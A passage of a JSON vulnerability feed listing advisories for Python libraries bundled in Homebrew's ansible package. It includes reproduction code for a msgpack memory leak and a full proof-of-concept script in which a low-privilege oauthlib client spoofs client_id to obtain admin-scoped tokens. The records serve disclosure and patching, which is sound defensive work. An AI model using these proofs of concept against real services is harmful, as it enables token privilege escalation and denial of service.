ce":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Connector pool exhaustion via Max-Age overflow","details":"### Summary\n\nAn overflow in Max-Age processing can skip closing a connection.\n\n### Impact\n\nAn attacker may be able to exhaust the connection pool temporarily, until garbage collection resolves the connections.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-6cjc-53gc-5rqm"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111065"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9dd8eaf4e31f1237ef2c1574a8c82a739fca5805"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-111066","published":"2026-10-21T08:48:28Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-9xw5-w5jj-pvcg","CVE-2026-111066"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: File descriptor exhaustion in multipart requests","details":"### Summary\n\nAn attacker can exhaust file descriptors with specially crafted multipart requests.\n\n### Impact\n\nIf a handler uses `Request.post()`, it may be possible for an attacker to use an unlimited number of file descriptors, potentially resulting in resource exhaustion.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9xw5-w5jj-pvcg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111066"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/2d94633b7f1b4c1ba07d647b629a8440652b2d09"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-111748","published":"2026-10-21T08:48:28Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-f9xw-jh8m-3mwq","CVE-2026-111748"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Absolute-form request targets can spoof Request.scheme","details":"### Summary\n\nAn attacker sending an absolute-form request can spoof the scheme used.\n\n### Impact\n\nIf user code depends on the `Request.scheme` attribute for anything security related, an attacker may be able to circumvent this logic, tricking the application into thinking a connection is encrypted when it is not, or vice versa.\n\n### Workaround\n\nA WAF rule to reject absolute-form requests (legitimate requests should only use this form for proxies).","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-f9xw-jh8m-3mwq"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111748"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6d4e7b01f9b951aa084a75d7356e907d4ee80411"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-111749","published":"2026-10-21T08:48:28Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-gx76-c99x-2c96","CVE-2026-111749"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Cookie from subdomain can remove Host-Only Scope from existing cookies","details":"### Summary\n\nA subdomain can remove the Host-Only flag from an existing cookie to a parent domain.\n\n### Impact\n\nA user accessing untrusted subdomains could see their Host-Only protections stripped from cookies. Given most usecases won't reflect these cookies to a browser, the impact is limited.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-gx76-c99x-2c96"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111749"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/6a07c171ef9f3be583e2907dcd1931372efca8d6"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-111750","published":"2026-10-21T08:48:28Z","modified":"2026-10-29T21:31:24Z","upstream":["GHSA-pqxq-w44r-73xw","CVE-2026-111750"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"14.0.0"},{"fixed":"14.5.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"3.14.4","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.14.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.14.5","key":"pkg:pypi/aiohttp@3.14.5","resource":"aiohttp"}]},"summary":"AIOHTTP: Pure-Python parser request smuggling","details":"### Summary\n\nThe pure Python parser is vulnerable to an HTTP request smuggling attack.\n\n### Impact\n\nIf users are using the Python parser (`AIOHTTP_NO_EXTENSIONS`, or not a standard wheel installed), then an application may be vulnerable to a request smuggling attack.\n\n### Workaround\n\nSwitch to the default C parser.","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-pqxq-w44r-73xw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111750"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/9b27347e61454d9f8ca2055f4c67a37dee336e83"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.4"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-11332","published":"2026-08-13T16:35:22Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-w8p5-mx5w-cpqj","CVE-2026-11332","PYSEC-2026-3458"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0"},{"fixed":"14.0.0_2"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.21.1rc1","resource":"ansible-core","resource_purl":"pkg:pypi/ansible-core@2.21.6"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible-core","subject_version":"2.21.6","key":"pkg:pypi/ansible-core@2.21.6","resource":"ansible-core"}]},"summary":"ansible-core: Argument injection in ansible-galaxy role install leads to arbitrary code execution","details":"A flaw was found in ansible-core. The ansible-galaxy role install command processes dependency specifications from a role's meta/requirements.yml file. Due to improper neutralization of argument delimiters, a malicious role author can inject arbitrary git configuration flags through the src field. This allows arbitrary code execution on the machine of a user who installs the role via ansible-galaxy role install.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-11332"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/87070"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/edee59aa15abcc74d920bb3e9c3835ab8db05a2f"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-11332"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2485379"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-11332.json"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-114605","published":"2026-10-29T21:32:40Z","modified":"2026-11-13T08:39:09Z","upstream":["GHSA-45c3-73f7-pv4m","CVE-2026-114605"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.0.1.0"},{"fixed":"2.1.2.0"},{"introduced":"2.2.1.0"},{"fixed":"2.3.0.0"},{"introduced":"2.3.0.0_2"},{"fixed":"14.5.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.0","resource":"dnspython","resource_purl":"pkg:pypi/dnspython@2.9.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"dnspython","subject_version":"2.9.2","key":"pkg:pypi/dnspython@2.9.2","resource":"dnspython"}]},"summary":"dnspython dns.name.from_wire_parser() excessive CPU use","details":"### Impact\nA maliciously crafted DNS message may cause dns.name.from_wire_parser() to use excessive CPU for DNS name decompression.  Applications that process untrusted DNS wire form messages with dnspython may be degraded or DoS'd by the extra CPU use required.\n\n### Patches\nThis problem is fixed in dnspython 2.9.0.\n\n### Workarounds\nThere are no known workarounds.\n\n### Credit\nEvgenios Gkritsis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nConstantinos Patsakis, Department of Informatics, University of Piraeus & Athena Research Center, Greece\nGeorge Stergiopoulos, Department of Informatics, Athens University of Economics and Business, Greece","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/rthalley/dnspython/security/advisories/GHSA-45c3-73f7-pv4m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114605"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/commit/b485e460c266540a1a09ca6d8d1d7b685b1d3023"},{"type":"PACKAGE","url":"https://github.com/rthalley/dnspython"},{"type":"WEB","url":"https://github.com/rthalley/dnspython/releases/tag/v2.9.0"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2026/11/msg00017.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-114613","published":"2026-10-29T21:32:40Z","modified":"2026-10-31T18:52:26Z","upstream":["GHSA-j586-36cw-2gc2","CVE-2026-114613"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.5.0"},{"fixed":"14.4.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.3","resource":"msgpack","resource_purl":"pkg:pypi/msgpack@1.2.4"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"msgpack","subject_version":"1.2.4","key":"pkg:pypi/msgpack@1.2.4","resource":"msgpack"}]},"summary":"MessagePack: Unbounded memory leak in msgpack C extension on strict_map_key validation failure","details":"### Impact\n\nThe msgpack-python C extension (`msgpack._cmsgpack`) leaks a decoded map value when deserialization rejects a key with `strict_map_key=True` (the default). Repeated malformed inputs can cause unbounded process memory growth and denial of service in applications that deserialize attacker-controlled MessagePack data. Both `unpackb()` and the streaming `Unpacker` API are affected. The pure-Python fallback does not exhibit this leak in the reported tests.\n\nThe report measured approximately 4 MiB retained per failed parse and 100 MiB after 25 failed parses on Windows with Python 3.14 and msgpack 1.2.2. These are reporter-provided results.\n\n### Additional impact: stale parser-stack references\n\nThe reference-ownership audit performed while fixing this leak found an\nadditional memory-safety issue in the streaming `Unpacker`.\n\nAfter `unpack()` completed a nested container, an inactive parser-stack slot\ncould retain a non-owning pointer to the decoded object. A subsequent `skip()`\ncould reactivate that slot. If parsing then failed, context cleanup treated the\nstale pointer as an owned reference and decremented it.\n\nThis corrupts the object's reference count and can result in a use-after-free\nor double `Py_DECREF` when its actual owners later release it.\n\nAlthough few users use this API, but those who do may experience crashes or unexpected errors due to a use-after-free.\n\n### Details\n\nIn `msgpack/unpack.h`, `unpack_callback_map_item()` rejects keys that are neither `str` nor `bytes`. At this point the map value has already been constructed. The early error return does not release the value reference.\n\nIn `msgpack/unpack_template.h`, the value is held in the local `obj` in `unpack_execute()`. The `CT_MAP_VALUE` error path jumps to `_failed` without decrementing that reference. Cleanup of the parser stack does not recover the value because it is not stored in the stack. The fallback checks the key before decoding the value.\n\n### Affected versions\n\nThe report reproduces the issue on **1.2.2** and reports it on development commit `475c1b7`. The affected-product field lists the reproduced release only; it is not a claim that earlier releases are unaffected.\n\nThe earliest affected release needs confirmation: the report's summary says 1.1.x through 1.2.2, while its root-cause analysis attributes introduction to commit `cd81370` (PR #673). Resolve this discrepancy before publishing a definitive affected-version range.\n\n### Reproduction\n\nRun in a disposable local process with the C extension installed:\n\n```python\nimport msgpack\n\npayload = msgpack.packb({42: b\"A\" * (4 * 1024 * 1024)}, use_bin_type=True)\nmsgpack.unpackb(payload)  # Raises ValueError; the report observes a 4 MiB leak.\n```\n\nStreaming API trigger:\n\n```python\nimport msgpack\n\npayload = msgpack.packb({42: b\"A\" * (4 * 1024 * 1024)}, use_bin_type=True)\nu = msgpack.Unpacker()\nu.feed(payload)\nlist(u)  # Same strict_map_key error path.\n```\n\n### Workarounds\n\nThe pure-Python fallback is reported not to leak on this path and may be used as a temporary workaround after application compatibility and performance checks. Request-size and rate limits may reduce the impact but do not eliminate cumulative leakage.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/security/advisories/GHSA-j586-36cw-2gc2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114613"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/commit/620b0eb4c89cd72d4098564537624d9dbb2ce141"},{"type":"PACKAGE","url":"https://github.com/msgpack/msgpack-python"},{"type":"WEB","url":"https://github.com/msgpack/msgpack-python/releases/tag/v1.2.3"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-118669","published":"2026-10-31T08:34:52Z","modified":"2026-11-09T08:43:30Z","upstream":["GHSA-7984-qgvg-3j9c","CVE-2026-118669"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.8.4_1"},{"fixed":"14.4.0_1"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.0.0","resource":"oauthlib","resource_purl":"pkg:pypi/oauthlib@4.0.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"oauthlib","subject_version":"4.0.1","key":"pkg:pypi/oauthlib@4.0.1","resource":"oauthlib"}]},"summary":"OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client","details":"## Summary\n\nOAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n    ...\nelif not hasattr(request.client, 'client_id'):\n    ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\"   # authenticated client\nrequest.client_id == \"high\"         # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n    BearerToken,\n    ClientCredentialsGrant,\n    RequestValidator,\n    ResourceOwnerPasswordCredentialsGrant,\n    TokenEndpoint,\n)\n\n\nclass Client:\n    def __init__(self, client_id):\n        self.client_id = client_id\n\n\nCLIENTS = {\n    \"low\": {\n        \"secret\": \"low-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\"},\n    },\n    \"high\": {\n        \"secret\": \"high-secret\",\n        \"grants\": {\"client_credentials\", \"password\"},\n        \"scopes\": {\"read\", \"admin\"},\n    },\n}\n\n\nclass DemoValidator(RequestValidator):\n    def __init__(self):\n        self.saved_tokens = []\n\n    def authenticate_client(self, request, *args, **kwargs):\n        authorization = request.headers.get(\"Authorization\", \"\")\n        prefix = \"Basic \"\n        if not authorization.startswith(prefix):\n            return False\n\n        decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n        client_id, secret = decoded.split(\":\", 1)\n        record = CLIENTS.get(client_id)\n        if record is None or record[\"secret\"] != secret:\n            return False\n\n        # This is the authenticated client identity.\n        request.client = Client(client_id)\n        return True\n\n    def client_authentication_required(self, request, *args, **kwargs):\n        return True\n\n    def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n        return record is not None and grant_type in record[\"grants\"]\n\n    def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n        record = CLIENTS.get(client_id)\n        return record is not None and set(scopes or []) <= record[\"scopes\"]\n\n    def get_default_scopes(self, client_id, request, *args, **kwargs):\n        return []\n\n    def validate_user(self, username, password, client, request, *args, **kwargs):\n        if username == \"alice\" and password == \"wonderland\":\n            request.user = username\n            return True\n        return False\n\n    def save_bearer_token(self, token, request, *args, **kwargs):\n        self.saved_tokens.append({\n            \"token\": dict(token),\n            \"authenticated_client_id\": request.client.client_id,\n            \"request_client_id\": request.client_id,\n            \"scopes\": list(request.scopes or []),\n        })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n    default_grant_type=\"client_credentials\",\n    default_token_type=token,\n    grant_types={\n        \"client_credentials\": ClientCredentialsGrant(validator),\n        \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n    },\n)\n\n\ndef low_client_headers():\n    value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n    return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n    _headers, response_body, status = endpoint.create_token_response(\n        \"https://auth.example/token\",\n        body=body,\n        headers=low_client_headers(),\n    )\n    return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n    status, response = token_request(body)\n    print(label, status, response)\n    if status == 200:\n        raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n    status, response = token_request(body)\n    print(label, status, response)\n    if status != 200:\n        raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n    if response.get(\"scope\") != \"admin\":\n        raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n    saved = validator.saved_tokens[-1]\n    if saved[\"authenticated_client_id\"] != \"low\":\n        raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n    if saved[\"request_client_id\"] != \"high\":\n        raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n    \"control client_credentials as low requesting admin\",\n    \"grant_type=client_credentials&client_id=low&scope=admin\",\n)\nassert_spoofed_success(\n    \"spoofed client_credentials as low with client_id=high\",\n    \"grant_type=client_credentials&client_id=high&scope=admin\",\n)\n\nassert_rejected(\n    \"control password as low requesting admin\",\n    \"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin\",\n)\nassert_spoofed_success(\n    \"spoofed password as low with client_id=high\",\n    \"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {'error': 'invalid_scope'}\nspoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}\ncontrol password as low requesting admin 400 {'error': 'invalid_scope'}\nspoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n  \"authenticated_client_id\": \"low\",\n  \"request_client_id\": \"high\",\n  \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n    if request.client_id is not None and request.client_id != request.client.client_id:\n        raise InvalidClientError(...)\n    request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-118669"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/pull/920"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"},{"type":"PACKAGE","url":"https://github.com/oauthlib/oauthlib"},{"type":"WEB","url":"https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"}]},{"schema_version":"1.7.3","id":"BREW-ansible-CVE-2026-119194","published":"2026-10-31T08:34:52Z","modified":"2026-10-31T18:52:28Z","upstream":["GHSA-fm9c-5rcf-2q5p","CVE-2026-119194"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible","purl":"pkg:brew/ansible"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.4.0.0"},{"fixed":"14.5.0_3"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"0.6.5","resource":"pyasn1","resource_purl":"pkg:pypi/pyasn1@0.6.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pyasn1","subject_version":"0.6.5","key":"pkg:pypi/pyasn1@0.6.5","resource":"pyasn1"}]},"summary":"pyasn1 has quadratic CPU use in schemaless BER/CER/DER container decoding","details":"### Summary\n\nWhen an application decodes attacker-controlled BER, CER, or DER data without an ASN.1 schema, a container with many distinct long tag IDs can cause quadratic CPU use. Repeated inputs can exhaust CPU and reduce service availability.\n\n### Details\n\nConstructedPayloadDecoderBase._decodeComponentsSchemaless inserts every decoded component’s TagSet into a growing set, although it only needs to distinguish one tag set from two or more. Attacker-chosen tag IDs can have colliding TagSet hashes, making each later insertion compare against an increasing number of earlier tags. This path is present in v0.6.4 and is inherited by the CER and DER decoders. The proposed fix stops growing the classification set after it contains two distinct tag sets, while retaining every decoded component and its order.  On v0.6.4 with CPython 3.12.10, increasing the collision input from 3,200 to 6,400 components raised decode CPU time from 0.438 to 1.747 seconds; a comparable control rose from 0.031 to 0.065 seconds. Both inputs decoded successfully with the expected values and an empty remainder.\n\n### Proof of concept\n\nRun this outside the repository checkout in a fresh Python 3.12 environment with pyasn1==0.6.4 installed:\n\n```python\nimport sys\nimport time\n\nfrom 